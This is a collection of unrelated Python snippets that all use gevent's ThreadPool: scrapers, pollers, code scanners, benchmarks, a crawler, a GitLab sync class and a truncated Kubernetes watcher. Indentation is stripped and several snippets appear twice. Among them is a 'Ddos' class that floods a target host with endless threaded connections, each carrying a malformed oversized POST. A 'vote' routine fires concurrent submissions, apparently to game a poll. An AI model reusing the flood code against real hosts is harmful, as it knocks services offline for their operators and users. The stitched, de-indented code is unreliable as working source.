def run_proxy_parse(self, url, proxy_type):
try:
for i in range(3):
#这里对url进行重新组装
url = url[0:-1] + str(i+1)
resp = requests.get(url, timeout=5)
response = etree.HTML(resp.content.decode('utf-8'))
#解析代理IP，获取代理ip列表
proxy_ip_list = []
for item in response.xpath('//tr[contains(@style,"font-size")]'):
ip = item.xpath('./td[1]/text()')[0].strip()
port = item.xpath('./td[2]/text()')[0].strip()
proto = item.xpath('./td[4]/text()')[0].strip()
if proto.lower() == 'https':
continue
proxy_ip = proto.lower() + '://' + ip + ':' + port
if proxy_ip not in proxy_ip_list:
proxy_ip_list.append(proxy_ip)
#对每个IP进行测试，留下可用的代理ip
pool = ThreadPool(len(proxy_ip_list))
for pip in proxy_ip_list:
pool.spawn(self.test_single_proxy, pip, self.test_urls[proxy_type.lower()])
pool.join()
except Exception, e:
pass
class ThreadPoolExecutor(concurrent.futures.ThreadPoolExecutor):
"""
A version of :class:`concurrent.futures.ThreadPoolExecutor` that
always uses native threads, even when threading is monkey-patched.
TODO: Gevent has also implemented [ThreadPoolExecutor](https://github.com/gevent/gevent/blob/master/src/gevent/threadpool.py#L454)
to be released in next version 1.2.0. We should move to that implementation when it is released.
"""
def __init__(self, max_workers):
super(ThreadPoolExecutor, self).__init__(max_workers)
self._threadpool = ThreadPool(max_workers)
def submit(self, fn, *args, **kwargs):
future = super(ThreadPoolExecutor, self).submit(fn, *args, **kwargs)
with self._shutdown_lock:
work_item = self._work_queue.get()
assert work_item.fn is fn
self._threadpool.spawn(work_item.run)
return future
def shutdown(self, wait=True):
super(ThreadPoolExecutor, self).shutdown(wait)
self._threadpool.kill()
kill = shutdown # greentest compat
def _adjust_thread_count(self):
# Does nothing. We don't want to spawn any "threads",
# let the threadpool handle that.
pass
def start_blacklist(self, project):
"""
:param project:
:return:
"""
def __scan(file_path):
for rule in self.blacklist_rule:
flag, _ = rule.verify(reference_value=file_path)
project.logger.debug(
"[RuleScanner] rule: [{0}], file: [{1}]".format(
rule, file_path))
if flag:
relative_path = file_path.replace(project.scan_path, "")
project.logger.info(
"[RuleScanner] [Blacklist] [+] Found '{0}' vulnerability in '{1}' file."
.format(rule.name, relative_path))
info = rule.get_info(match_content=_,
origin_file=file_path)
if project.web_url:
report = '{0}/blob/{1}{2}#L{3}'.format(
project.web_url, project.branch, relative_path,
info['start_line'])
else:
report = ''
author, author_email = get_git_author(
project.get_last_author(file_path))
vuln = Vulnerability(
task_id=project.task_id,
rule_key=rule.key,
risk_id=rule.risk_id,
title=rule.name,
file=relative_path,
author=author,
author_email=author_email,
hash=project.get_last_commit(),
start_line=info['start_line'],
end_line=info['end_line'],
report=report,
code_example=info['code_example'],
evidence_content=_,
engine=self.key,
)
vuln_key = hash_md5('{0}_{1}_{2}'.format(
file_path, rule.id, info['start_line']))
if vuln_key not in kb.result[project.key]:
kb.result[project.key][vuln_key] = vuln.info
project.logger.debug('[RuleScanner] {0}'.format(vuln))
project.logger.info(
"[RuleScanner] Begin to perform rule-based blacklist vulnerability analysis..."
)
pool = ThreadPool(project.threads or 20)
for fpath, dirs, fs in os.walk(project.scan_path):
for f in fs:
pool.spawn(__scan, os.path.join(fpath, f))
gevent.wait()
project.logger.info("[RuleScanner] Rule blacklist scan completed.")
def spawn_dashboard(self, job, port):
print 'Spawning dashboard...'
sp_dashboard = create_fetch_dashboard(job)
tpool = ThreadPool(2)
tpool.spawn(sp_dashboard.serve,
use_reloader=False,
static_prefix='static',
port=port,
static_path=dashboard._STATIC_PATH)
def admin_init(self):
if self.coll_dir:
self.load_coll_dir()
if self.inputs:
if self.load_cache():
return
pool = ThreadPool(maxsize=1)
pool.spawn(self.safe_auto_load_warcs)
class Thread(ThreadBase):
def __init__(self, *args, **kwargs):
super(Thread, self).__init__(*args, **kwargs)
self.thread = ThreadPool(1)
def start(self):
self.thread.spawn(self.run)
def join(self):
self.thread.join()
def _admin_init(self):
if self.coll_dir:
self.load_coll_dir()
if self.inputs:
if self.load_cache():
return
pool = ThreadPool(maxsize=1)
pool.spawn(self.safe_auto_load_warcs)
def _get_messages(self):
# Emulate batch messages by polling rabbitmq server multiple times
pool = ThreadPool(settings.POLLER_CONFIG['batchsize'])
for i in range(settings.POLLER_CONFIG['batchsize']):
if settings.QUEUE_TYPE in ['SQS', 'sqs']:
pool.spawn(self._get_sqs_messages)
elif settings.QUEUE_TYPE in ['RABBITMQ', 'rabbitmq']:
pool.spawn(self._get_rabbitmq_messages,i)
else:
raise ValueError('Incorrect value "%s" for QUEUE_TYPE in %s' %
(settings.QUEUE_TYPE, settings.SETTINGS_MODULE))
def _get_messages(self):
# Emulate batch messages by polling rabbitmq server multiple times
pool = ThreadPool(settings.POLLER_CONFIG["batchsize"])
for i in range(settings.POLLER_CONFIG["batchsize"]):
if settings.QUEUE_TYPE in ["SQS", "sqs"]:
pool.spawn(self._get_sqs_messages)
elif settings.QUEUE_TYPE in ["RABBITMQ", "rabbitmq"]:
pool.spawn(self._get_rabbitmq_messages, i)
else:
raise ValueError(
'Incorrect value "%s" for QUEUE_TYPE in %s' % (settings.QUEUE_TYPE, settings.SETTINGS_MODULE)
)
def vote(self):
self._voted = False
if self.sesskey is None or self.choice_id is None:
self.get_info()
print("[+] Start threadpool")
pool = ThreadPool(10)
for _ in range(11):
pool.spawn(self._vote, _)
gevent.wait()
if self._voted:
self.vote = True
print("[+] Vote Success", time.ctime())
def fetch_controller(listname):
port = find_port()
if port:
tpool = ThreadPool(2)
tpool.spawn(start_fetch, listname, port)
ret = {'port': port,
'name': listname,
'url': 'http://localhost:' + str(port),
'status': 'running'}
else:
ret = {'port': port,
'name': listname,
'url': '',
'status': 'occupied'}
return ret
def _run(self):
"""Main loop; reap and process pkts"""
try:
args = self.orbname, self.select, self.reject
print repr(self.orbname)
print repr(args)
with OrbreapThr(*args, timeout=1, queuesize=8, after=self.tafter) as orbreapthr:
log.info("Connected to ORB %s %s %s" % (self.orbname, self.select,
self.reject))
self.timeoff = self.timeon = datetime.utcnow()
spawn(self._status_printer).link_exception(self._janitor)
threadpool = ThreadPool(maxsize=1)
try:
while True:
try:
success, value = threadpool.spawn(
wrap_errors, (Exception,), orbreapthr.get, [], {}).get()
timestamp = datetime.utcnow()
if not success:
raise value
except (Timeout, NoData), e:
log.debug("orbreapthr.get exception %r" % type(e))
pass
else:
if value is None:
raise Exception('Nothing to publish')
self._process(value, timestamp)
finally:
# This blocks until all threads in the pool return. That's
# critical; if the orbreapthr dies before the get thread,
# segfaults ensue.
threadpool.kill()
except Exception, e:
log.error("OrbPktSrc terminating due to exception", exc_info=True)
raise
class Worker(object):
def __init__(self, url):
self.url = url
self.headers = {'content-type': 'application/json'}
self.id = 0
self.post = functools.partial(requests.post, self.url, headers=self.headers)
self.pool = ThreadPool(100)
def _call(self, method, *args):
payload = dict(method=method, params=args, jsonrpc="2.0", id=self.id)
self.id += 1
response = self.post(json.dumps(payload)).json()
return response
def _async_call(self, method, *args):
payload = dict(method=method, params=args, jsonrpc="2.0", id=self.id)
self.id += 1
def _delayed_call(pl):
return self.post(json.dumps(pl)).json()
return Future(self.pool.spawn(_delayed_call, payload))
def tell(self, method, *args):
self._async_call(method, *args)
def ask(self, method, *args):
return self._async_call(method, *args)
def join(self):
self.pool.join()
def _run(self):
try:
args = self.orbname, self.select, self.reject
# TODO Review this queue size
# TODO Review reasoning behind using OrbreapThr vs. normal ORB API
# I think it had something to do with orb.reap() blocking forever
# on comms failures; maybe we could create our own orbreapthr
# implementation?
with OrbreapThr(*args, timeout=1, queuesize=orbreapthr_queuesize) as orbreapthr:
log.info("Connected to ORB %s %s %s" % (self.orbname, self.select,
self.reject))
threadpool = ThreadPool(maxsize=1)
try:
while True:
try:
success, value = threadpool.spawn(
wrap_errors, (Exception,), orbreapthr.get, [], {}).get()
timestamp = datetime.utcnow()
if not success:
raise value
except (Timeout, NoData), e:
log.debug("orbreapthr.get exception %r" % type(e))
pass
else:
if value is None:
raise Exception('Nothing to publish')
self._publish(value, timestamp)
finally:
# This blocks until all threads in the pool return. That's
# critical; if the orbreapthr dies before the get thread,
# segfaults ensue.
threadpool.kill()
except Exception, e:
log.error("OrbPktSrc terminating due to exception", exc_info=True)
raise
class 协程池():
"""
创建一个协程池运行任务
pool = 协程池(协程数量=2)
任务列表 = []
for i in range(10):
任务列表.append(pool.创建任务(工作线程4,i))
pool.运行任务(任务列表)
"""
def __init__(self, 协程数量):
self.pool = ThreadPool(协程数量)
def 等待协程完成任务(self, 任务列表):
gevent.joinall(任务列表)
def 投递任务(self, 任务函数, *args, **kwargs):
return self.pool.spawn(任务函数, *args, **kwargs)
def 等待(self):
"""等待所有任务完成"""
self.pool.join()
# gevent.wait()
def 关闭(self):
"""等待所有任务完成"""
self.pool.kill()
def targets(self, activity):
activities = self.get_contacts_by_activity[activity['id']]
contacts = [int(c) for c in activities[TARGETS]]
pool = ThreadPool(THREADS)
contacts = [pool.spawn(self.get_contact, c) for c in contacts]
gevent.wait()
contacts = [c.get()['sort_name'] for c in contacts]
return ', '.join(contacts)
def run(self):
if self.Queue and self.handler:
self.__FLAG = True
self.__STAT = False
pool = ThreadPool(self.threads)
Queue = iter(self.Queue)
while self.__FLAG:
if self.__STAT:
time.sleep(1)
continue
try:
data = next(Queue)
pool.spawn(self.recv, data)
except StopIteration:
self.__FLAG = False
break
gevent.wait(timeout=self.timeout)
def start_blacklist(self, project):
"""
:param project:
:return:
"""
def __scan(file_path):
for rule in self.blacklist_rule:
flag = rule.verify(file_path)
if flag:
rule.get_info(file_path)
if project.web_url:
report = '{0}/blob/{1}/{2}#L{3}'.format(
project.web_url, project.branch, file_path,
rule.start_line)
else:
report = ''
author, author_email = get_git_author(
project.get_last_author(file_path))
vuln = Vulnerability(
task_id=project.task_id,
rule_key=rule.key,
risk_id=rule.risk_id,
title=rule.name,
file=file_path,
author=author,
author_email=author_email,
hash=project.get_last_commit(),
start_line=rule.start_line,
end_line=rule.end_line,
report=report,
code_example=rule.code_example,
engine=self.key,
)
vuln_key = hash_md5('{0}_{1}_{2}'.format(
file_path, rule.id, rule.start_line))
if vuln_key not in kb.result[project.key]:
kb.result[project.key][vuln_key] = vuln.info
project.logger.debug(
'[PluginScanner] {0}'.format(vuln))
pool = ThreadPool(project.threads)
for fpath, dirs, fs in os.walk(project.scan_path):
for f in fs:
pool.spawn(__scan, os.path.join(fpath, f))
gevent.wait()
def test_auto_timeout_client__short_timeout_on_stuck_server(self):
import time
from threading import Event
wait_for_start = Event()
wait_for_close = Event()
def thread_server(wait_for_start, wait_for_close):
try:
print(
("starting server, hub: {}".format(gevent.hub.get_hub())))
with logbook.NullHandler().applicationbound():
with server_context(FooService(), max_response_time=0.1):
print("server started.")
wait_for_start.set()
while not wait_for_close.is_set():
gevent.sleep(0.1)
except:
import traceback
traceback.print_exc()
from gevent.threadpool import ThreadPool
t = ThreadPool(1)
t.size = 1
t.spawn(thread_server, wait_for_start, wait_for_close)
try:
print(("starting client, hub: {}".format(gevent.hub.get_hub())))
client = AutoTimeoutClient(ZeroRPCClientTransport.create_tcp(8192),
timeout_calc_func=lambda n: n * 2)
wait_for_start.wait()
print("client started.")
t1 = time.time()
self.assertRaises(TimeoutExpired, client.stuck_call)
t2 = time.time()
# This test should always pass although we're dealing with timing and non-deterministic measures since
# stuck_call() is stuck for an entire second while we're comparing time to 0.2 (almost an order of a
# magnitude)
self.assertAlmostEqual(0.2, t2 - t1, delta=0.2)
finally:
wait_for_close.set()
t.join()
class Ddos(object):
def __init__(self,host,port=80,threads=100):
self.host = host
self.port = port
self.pool = ThreadPool(threads)
self.payload = (
'POST / HTTP/1.1'
'Connection: keep-alive'
'Content-Length: 999999999999999999999999999999')
def exp(self,i):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.host,self.port))
print i,' ',sock.send(self.payload)
def ack(self,timeout=None):
i=0
while True:
i+=1
self.pool.spawn(self.exp,i)
gevent.wait()
def crawl(start_date, end_date):
global events
events = []
pool = ThreadPool(20)
for dt in date_range(start_date, end_date):
pool.spawn(get_events, dt)
gevent.wait()
#columns = reduce(lambda s1, s2: s1.union(s2), (set(e.keys()) for e in events))
columns = [
u'gregorain_date', u'gregorian_year', u'gregorian_month',
u'gregorian_day', u'is_holiday', u'event_origin', u'event_name'
]
with codecs.open(events_file, 'w+') as csvfile:
writer = csv.DictWriter(csvfile, fieldnames=columns)
writer.writeheader()
for e in events:
writer.writerow(e)
def test_auto_timeout_client__short_timeout_on_stuck_server(self):
import time
from threading import Event
wait_for_start = Event()
wait_for_close = Event()
def thread_server(wait_for_start, wait_for_close):
try:
print(("starting server, hub: {}".format(gevent.hub.get_hub())))
with logbook.NullHandler().applicationbound():
with server_context(FooService(), max_response_time=0.1):
print("server started.")
wait_for_start.set()
while not wait_for_close.is_set():
gevent.sleep(0.1)
except:
import traceback
traceback.print_exc()
from gevent.threadpool import ThreadPool
t = ThreadPool(1)
t.size = 1
t.spawn(thread_server, wait_for_start, wait_for_close)
try:
print(("starting client, hub: {}".format(gevent.hub.get_hub())))
client = AutoTimeoutClient(ZeroRPCClientTransport.create_tcp(8192), timeout_calc_func=lambda n: n * 2)
wait_for_start.wait()
print("client started.")
t1 = time.time()
self.assertRaises(TimeoutExpired, client.stuck_call)
t2 = time.time()
# This test should always pass although we're dealing with timing and non-deterministic measures since
# stuck_call() is stuck for an entire second while we're comparing time to 0.2 (almost an order of a
# magnitude)
self.assertAlmostEqual(0.2, t2 - t1, delta=0.2)
finally:
wait_for_close.set()
t.join()
def main():
all_content = collection.find({}, {
'uid': 1,
'title_html': 1,
'content_html': 1
},
no_cursor_timeout=True)
pool = ThreadPool(200)
threads = [pool.spawn(iteration, each) for each in all_content]
gevent.joinall(threads)
def bench_spawn_wait(loops):
pool = ThreadPool(1)
t0 = perf.perf_counter()
for _ in xrange(loops):
for _ in xrange(N):
r = pool.spawn(noop)
r.get()
pool.join()
pool.kill()
return perf.perf_counter() - t0
def bench_spawn_wait(loops):
pool = ThreadPool(1)
t0 = perf.perf_counter()
for _ in xrange(loops):
for _ in xrange(N):
r = pool.spawn(noop)
r.get()
pool.join()
pool.kill()
return perf.perf_counter() - t0
def my_task(self):
min_pool = ThreadPool(2)
self.update_state(state='PROGRESS',
meta={'current': 0, 'total': 2,
'status': 'PENDING'})
# spawn all the threads
greenlets = [min_pool.spawn(_consumer, i) for i in xrange(100)]
# wait till the finish
min_pool.join()
# get the result
response = [greenlet.get() for greenlet in greenlets]
return {'current': 100, 'total': 100, 'status': 'Task completed!',
'result': len(response)}
def Fetch(self, request, context):
total_count = len(request.items)
fetched_count = 0
results = []
pool = ThreadPool(12)
for item in request.items:
result = pool.spawn(self.fetch_embedding, item)
results.append(result)
gevent.wait()
for result in results:
if result.get() is not None:
fetched_count += 1
return pb2.SimpleReponse(message='Fetched, %d of %d!' % (fetched_count, total_count))
def main():
#创建线程池
pool = ThreadPool(30)
result = []
#一个参数则用command
if len(sys.argv) == 2:
func = 'command'
#两个参数则用sync
if len(sys.argv) == 3:
#判断本地文件
if not os.path.isfile(sys.argv[1]):
sys.stdout.write("This file is not in zhe system: %s"%sys.argv[1])
sys.exit(1)
func = 'sync'
for i in open('iplist.txt'):
s = SSHClient(*i.strip().split(","))
#工厂模式处理
result.append(pool.spawn(getattr(s,func),*sys.argv[1:]))
#等待结束
gevent.wait()
for i in result:
logging.info(i.get())
def _get_related_contacts(self, relationships):
"""Return a list of related contacts from a CiviCRM server.
Run the API calls concurrently to speed up the process.
:param relationships: [required] relationship information of the
selected contact
:type relationships: list of dictionaries with relationship
information
:returns: dictionary with contact information dictionaries
"""
contacts = []
for r in relationships:
if int(r["contact_id_a"]) == self.contact_id:
contacts.append(r["contact_id_b"])
elif int(r["contact_id_b"]) == self.contact_id:
contacts.append(r["contact_id_a"])
pool = ThreadPool(THREADS)
contacts = [pool.spawn(self.get_contact, c) for c in contacts]
gevent.wait()
contacts = [c.get() for c in contacts]
# make mapping easier by returning contact_id as dictionary key
return dict([(c["contact_id"], c) for c in contacts])
import time
import gevent
from gevent.threadpool import ThreadPool
def my_func(text, num):
print text, num
pool = ThreadPool(100)
start = time.time()
for i in xrange(10000):
pool.spawn(my_func, "Hello", i)
pool.join()
delay = time.time() - start
print('Take %.3f seconds' % delay)
import time
import gevent
from gevent.threadpool import ThreadPool
pool = ThreadPool(3)
for _ in range(4):
pool.spawn(time.sleep, 1)
gevent.wait()
def test(self):
pool = ThreadPool(1)
pool.spawn(noop)
gevent.sleep(0)
pool.kill()
class Crawler(object):
def __init__(self, baseurl, threads=1, timeout=10, sleep=5):
self.baseurl = baseurl
self.threads = threads
self.timeout = timeout
self.sleep = sleep
self.pool = ThreadPool(self.threads)
self.Queue = queue.Queue()
self.block = set()
self.flag = 0
self.isstop = False
@PluginManage.test
def addreq(self, req):
print("GET %s" % req.url)
print('\r')
self.Queue.put(req)
def urljoin(self, url):
block = ('http://', 'https://', 'file://', 'javascript:', '#',
'mailto:')
if url:
if url.startswith(self.baseurl):
return url
elif url.startswith('/') and not url.startswith('//'):
return '%s%s' % (self.baseurl, url)
elif not url.lower().strip().startswith(block):
return '%s/%s' % (self.baseurl, url)
def isback(self, req):
if req not in self.block:
self.block.add(req)
self.addreq(req)
def run(self, req):
try:
response = req.request()
except requests.ConnectionError:
gevent.sleep(self.sleep)
content_type = response.headers.get('content-type')
if "html" in content_type:
self.htmlparse(response.text)
elif "text" in content_type \
or "json" in content_type \
or "javascript" in content_type:
self.textparse(response.text)
else:
pass
def start(self):
self.run(Request(self.baseurl))
while True and self.flag <= 60 * 5: #5分钟后还没有任务加进来就当爬完了
try:
req = self.Queue.get(block=False)
except queue.Empty:
gevent.sleep(1)
print(self.flag)
self.flag += 1
else:
self.pool.spawn(self.run, req)
gevent.wait(timeout=self.timeout)
self.isstop = True
def textparse(self, response):
urls = []
re_url = (
"(http[s]?://(?:[-a-zA-Z0-9_]+\.)+[a-zA-Z]+(?::\d+)?(?:/[-a-zA-Z0-9_%./]+)*\??[-a-zA-Z0-9_&%=.]*)"
)
urls += re.findall(re_url, response)
for url in urls:
url = self.urljoin(url)
if url:
req = Request(url)
self.isback(req)
def htmlparse(self, response):
href_tags = {"a", "link", "area"}
src_tags = {
"form", "script", "img", "iframe", "frame", "embed", "source",
"track"
}
param_names = {"movie", "href", "link", "src", "url", "uri"}
for tag in BeautifulSoup(response, "html.parser").findAll():
url = None
data = {}
name = tag.name.lower()
if name in href_tags:
url = tag.get("href", None)
elif name in src_tags:
url = tag.get("src", None)
elif name == "param":
name = tag.get("name", "").lower().strip()
if name in param_names:
url = tag.get("value", None)
elif name == "object":
url = tag.get("data", None)
elif name == "applet":
url = tag.get("code", None)
elif name == "meta":
name = tag.get("name", "").lower().strip()
if name == "http-equiv":
content = tag.get("content", "")
p = content.find(";")
if p >= 0:
url = content[p + 1:]
elif name == "base":
url = tag.get("href", None)
#for post fomm
if name == "form":
action = tag.get('action', '')
method = tag.get('method', 'GET').upper()
data = {}
#Process <input type="test" name="...
for m in tag.findAll('input', {'name': True, 'type': 'text'}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="password" name="...
for m in tag.findAll('input', {
'name': True,
'type': 'password'
}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="submit" name="...
for m in tag.findAll('input', {
'name': True,
'type': 'submit'
}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="hidden" name="...
for m in tag.findAll('input', {
'name': True,
'type': 'hidden'
}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="checkbox" name="...
for m in tag.findAll('input', {
'name': True,
'type': 'checkbox'
}):
value = m.get('value', '')
data[m['name']] = value
#Process <input type="radio" name="...
listRadio = []
for m in tag.findAll('input', {'name': True, 'type': 'radio'}):
if not m['name'] in listRadio:
listRadio.append(m['name'])
value = m.get('value', '')
data[m['name']] = value
#Process <textarea name="...
for m in tag.findAll('textarea', {'name': True}):
data[m['name']] = m.contents[0]
#Process <select name="...
for m in tag.findAll('select', {'name': True}):
if len(m.findAll('option', value=True)) > 0:
name = m['name']
data[name] = m.findAll('option',
value=True)[0]['value']
url = self.urljoin(url)
if url:
req = Request(url, data)
self.isback(req)
class GitLabOperator(object):
def __init__(self):
"""
"""
conf = get_config()
if not conf:
raise Exception(u'配置文件读取失败!')
self.api = GitlabAPIHandler(api_url=conf['gitlab']['api_url'], token=conf['gitlab']['token'])
self.activity_limit_month = conf['gitlab']['activity_month'] or 12
self.tz = timezone('Asia/Shanghai')
self.pool = ThreadPool(20)
def add_groups(self):
"""
添加项目分组
:return:
"""
logger.info('Start syncing project group information...')
groups = self.api.get_groups()
for group in groups:
group_obj = group_create_or_update(
git_id=group['id'],
name=group['name'],
path=group['path'],
description=group['description'],
web_url=group['web_url'],
full_name=group['full_name'],
full_path=group['full_path'],
visibility_level=group['visibility_level'],
)
if group_obj:
logger.debug('group name:{0}, group path:{1}'.format(group['name'], group['path']))
yield group_obj
def _add_groups_members(self, group_obj):
"""
:param group_obj:
:return:
"""
members = self.api.get_members_by_group(group_id=group_obj.git_id)
for member in members:
if 'email' in member:
email = member['email']
else:
email = None
m = get_member_by_gitid(member['id'])
if not m or m.state != 'active':
member_obj = create_or_update(
git_id=member['id'],
name=member['name'],
username=member['username'],
state=member['state'],
web_url=member['web_url'],
email=email,
)
if member_obj:
logger.info('[FOUND] username: {0}, git id:{1}'.format(member['username'], member['id']))
if not group_obj.members.filter(git_id=member['id']).exists():
group_obj.members.add(member_obj)
perm = get_group_member_perm(member_id=member_obj.id, group_id=group_obj.id)
if not perm:
create_group_member_perm_obj(
group_obj=group_obj,
member_obj=member_obj,
access_level=member['access_level'],
expires_at=member['expires_at']
)
def add_groups_and_members(self):
"""
FBI WARNING!!! Do not use, Do not use, Do not use.
:return:
"""
for group_obj in self.add_groups():
self.pool.spawn(self._add_groups_members, group_obj)
gevent.wait()
def add_projects(self, enable_sync_branch=True):
"""
添加项目
:return:
"""
logger.info('Start syncing project information...')
today = datetime.datetime.now()
for project in self.api.get_projects():
last_activity_at = utc2local(project['last_activity_at']) + datetime.timedelta(
days=self.activity_limit_month * 30)
if last_activity_at < today:
logger.warn('[SKIP] “{0}” 项目已超过 {1} 个月未活动, 跳过当前项目的信息同步, 最后活动时间: {2}。'
''.format(project['name'], self.activity_limit_month, project['last_activity_at']))
continue
logger.info('Start syncing "{0}" project member information ...'.format(project['name']))
try:
# member
members = self._add_members_by_project(project['id'], project['name'])
# group
group_obj = get_group_by_gitid(git_id=project['namespace']['id'])
if not group_obj:
logger.debug('"{0}" group not found.'.format(project['namespace']))
group_obj = create_group_obj(
git_id=project['namespace']['id'],
name=project['namespace']['name'],
parent_id=project['namespace']['parent_id'],
path=project['namespace']['path'],
full_path=project['namespace']['full_path'],
)
group_json = self.api.get_group_info(group_id=project['namespace']['id'])
if group_json:
group_obj = update_group_obj(
git_id=group_json['id'],
name=group_json['name'],
path=group_json['path'],
description=group_json['description'],
web_url=group_json['web_url'],
full_name=group_json['full_name'],
full_path=group_json['full_path'],
visibility_level=group_json['visibility_level'],
)
self._add_groups_members(group_obj)
# project
pro = get_project_by_gitid(project['id'])
i_ok = False
if pro:
last_activity_at = utc2local(project['last_activity_at']).strftime("%Y%m%d%H%M%S")
pro_last_activity_at = utc2local(pro.git_last_activity_at.astimezone(self.tz).strftime("%Y-%m-%d %H:%M:%S")).strftime("%Y%m%d%H%M%S")
# assert last_activity_at == pro_last_activity_at
# assert project['name'].lower() == pro.name.lower()
# assert project['ssh_url_to_repo'].lower() == pro.ssh_url_to_repo.lower()
if last_activity_at != pro_last_activity_at or \
project['name'].lower() != pro.name.lower() or \
project['ssh_url_to_repo'].lower() != pro.ssh_url_to_repo.lower():
i_ok = True
else:
i_ok = True
if not project['default_branch'] and pro:
i_ok = False
logger.warning('"{0}" is an empty project.'.format(project['web_url']))
if not i_ok:
logger.warning('[SKIP] [*] The project has not been changed, skip the update.')
continue
_name, _username, department = 'id: {0}'.format(project['creator_id']), '', None
project_obj = project_create_or_update(
group_obj=group_obj,
git_id=project['id'],
git_created_at=project['created_at'],
git_last_activity_at=project['last_activity_at'],
issues_enabled=project['issues_enabled'],
ssh_url_to_repo=project['ssh_url_to_repo'],
http_url_to_repo=project['http_url_to_repo'],
web_url=project['web_url'],
default_branch=project['default_branch'],
name=project['name'],
path=project['path'],
path_with_namespace=project['path_with_namespace'],
creator_id=project['creator_id'],
description=project['description'],
star_count=project['star_count'],
forks_count=project['forks_count'],
open_issues_count=0,
visibility_level=project['visibility_level'],
)
if pro:
title = '更新『{0}』项目'.format(project['name'])
description = '更新『{0}』项目成功，默认分支：{1}'.format(
project['name'], project['default_branch'] or '-'
)
create_pro_history_obj(
project_obj=pro,
title=title,
description=description,
type=icon_type.INFO
)
else:
title = '创建 『{0}』项目'.format(project['name'])
description = '创建『{0}』项目成功\n所属分组: {1}\n创建者：{2}({3})\n默认分支：{4}'.format(
project['name'], project['namespace']['name'],
_name, _username, project['default_branch'] or '-'
)
create_pro_history_obj(
project_obj=project_obj,
title=title,
description=description,
is_first=True,
type=icon_type.DATABASE
)
logger.debug('[PROJECT] project name:"{0}", git id: {1}, group name:"{2}".'.format(
project['name'],
project['id'],
group_obj.name))
# members
new_list = []
r_list = []
if not project_obj:
project_obj = pro
for username, item in members.items():
if item['obj'].state == 'active': # 有效账户
perm = get_pro_member_perm(member_id=item['obj'].id, project_id=project_obj.id)
if not perm:
create_pro_member_perm_obj(
project_obj=project_obj,
member_obj=item['obj'],
access_level=item['json']['access_level'],
expires_at=item['json']['expires_at']
)
if not project_obj.members.filter(id=item['obj'].id).exists():
new_list.append(username)
r_list.append(item['obj'])
if r_list:
if project_obj:
project_obj.members.add(*r_list)
if new_list:
create_pro_history_obj(
project_obj=project_obj,
title='发现新授权员工 {0} 个'.format(len(new_list)),
description='发现新增：{0} 等账号'.format('、'.join([_ for _ in new_list])),
type=icon_type.USER
)
# branch
if enable_sync_branch:
self.sync_project_branch(project_id=project['id'])
except Exception as ex:
import traceback
traceback.print_exc()
logger.error(ex)
create_syslog_obj(
title='同步 {0} 项目信息失败'.format(project['name']),
description=str(ex),
stack_trace=traceback.format_exc(),
level=LOG_LEVEL.CRITICAL,
is_read=False,
)
def _add_members_by_project(self, project_git_id, project_name):
"""
更新会员信息
:param project_git_id:
:param project_name:
:return:
"""
members = {}
for member in self.api.get_members_by_project(project_id=project_git_id):
if not member:
continue
logger.info('[MEMBER] username: {0}, git id:{1}'.format(member['username'], member['id']))
try:
email = None
if 'email' in member:
email = member['email']
m = get_member_by_gitid(member['id'])
if not m or m.state != 'active':
member_obj = create_or_update(
git_id=member['id'],
name=member['name'],
username=member['username'],
state=member['state'],
web_url=member['web_url'],
email=email,
)
members[member['username']] = {
'json': member,
'obj': member_obj,
}
except Exception as ex:
import traceback
logger.error(ex)
create_syslog_obj(
title='同步 {0} 项目成员失败'.format(project_name),
description=str(ex),
stack_trace=traceback.format_exc(),
level=LOG_LEVEL.CRITICAL,
is_read=False,
)
return members
def sync_project_branch(self, project_id):
"""
更新项目的分支与tag
:return:
"""
project_obj = get_project_by_gitid(git_id=project_id)
try:
new_result = []
update_result = []
for branch in self.api.get_branches(project_id=project_id):
if not branch:
continue
try:
bran = get_repository_by_name(name=branch['name'], project_id=project_obj.id)
if 'commit' in branch:
last_commit_id = branch['commit']['id']
last_short_id = branch['commit']['short_id']
last_author_email = branch['commit']['author_email']
last_author_name = branch['commit']['author_name']
last_title = branch['commit']['title'],
else:
last_commit_id = None
last_short_id = None
last_author_email = None
last_author_name = None
last_title = None
if bran:
if bran.last_commit_id != branch['commit']['id']:
update_repository_obj(
repo_id=bran.id,
name=branch['name'],
merged=branch['merged'],
protected=branch['protected'],
developers_can_push=branch['developers_can_push'],
developers_can_merge=branch['developers_can_merge'],
last_commit_id=last_commit_id,
last_short_id=last_short_id,
last_author_email=last_author_email,
last_author_name=last_author_name,
last_title=last_title,
project_obj=project_obj,
)
update_result.append(branch['name'])
logger.info('[BRANCH] update branch name:{0}, project name:{0}'.format(
branch['name'],
project_obj.name)
)
else:
new_result.append(branch['name'])
create_repository_obj(
name=branch['name'],
merged=branch['merged'],
protected=branch['protected'],
developers_can_push=branch['developers_can_push'],
developers_can_merge=branch['developers_can_merge'],
last_commit_id=last_commit_id,
last_short_id=last_short_id,
last_author_email=last_author_email,
last_author_name=last_author_name,
last_title=last_title,
project_obj=project_obj,
)
logger.info('[BRANCH] new branch name:{0}, project name:{0}'.format(
branch['name'],
project_obj.name)
)
except Exception as ex:
import traceback
logger.error(ex)
create_syslog_obj(
title='同步 {0} 项目分支失败'.format(project_obj.name),
description=str(ex),
stack_trace=traceback.format_exc(),
level=LOG_LEVEL.CRITICAL,
is_read=False,
)
if update_result:
create_pro_history_obj(
project_obj=project_obj,
title='更新分支 {0} 个'.format(len(update_result)),
description='更新：{0} 分支'.format('、'.join(update_result)),
type=icon_type.CODE_FORK
)
if new_result:
create_pro_history_obj(
project_obj=project_obj,
title='新增分支 {0} 个'.format(len(new_result)),
description='新增：{0} 分支'.format('、'.join(new_result)),
type=icon_type.TAGS
)
except Exception as ex:
logger.error(ex)
class K8SPodsIPWatcher(object):
"""
Pods watcher class, compatible with SchedulerDiscoverer
"""
dynamic = True
def __init__(self, k8s_config=None, k8s_namespace=None):
from kubernetes import config, client
from gevent.threadpool import ThreadPool
if k8s_config is not None:
self._k8s_config = k8s_config
elif os.environ.get('KUBE_API_ADDRESS'):
self._k8s_config = client.Configuration()
self._k8s_config.host = os.environ['KUBE_API_ADDRESS']
else:
self._k8s_config = config.load_incluster_config()
verify_ssl = bool(int(os.environ.get('KUBE_VERIFY_SSL', '1').strip('"')))
if not verify_ssl:
c = client.Configuration()
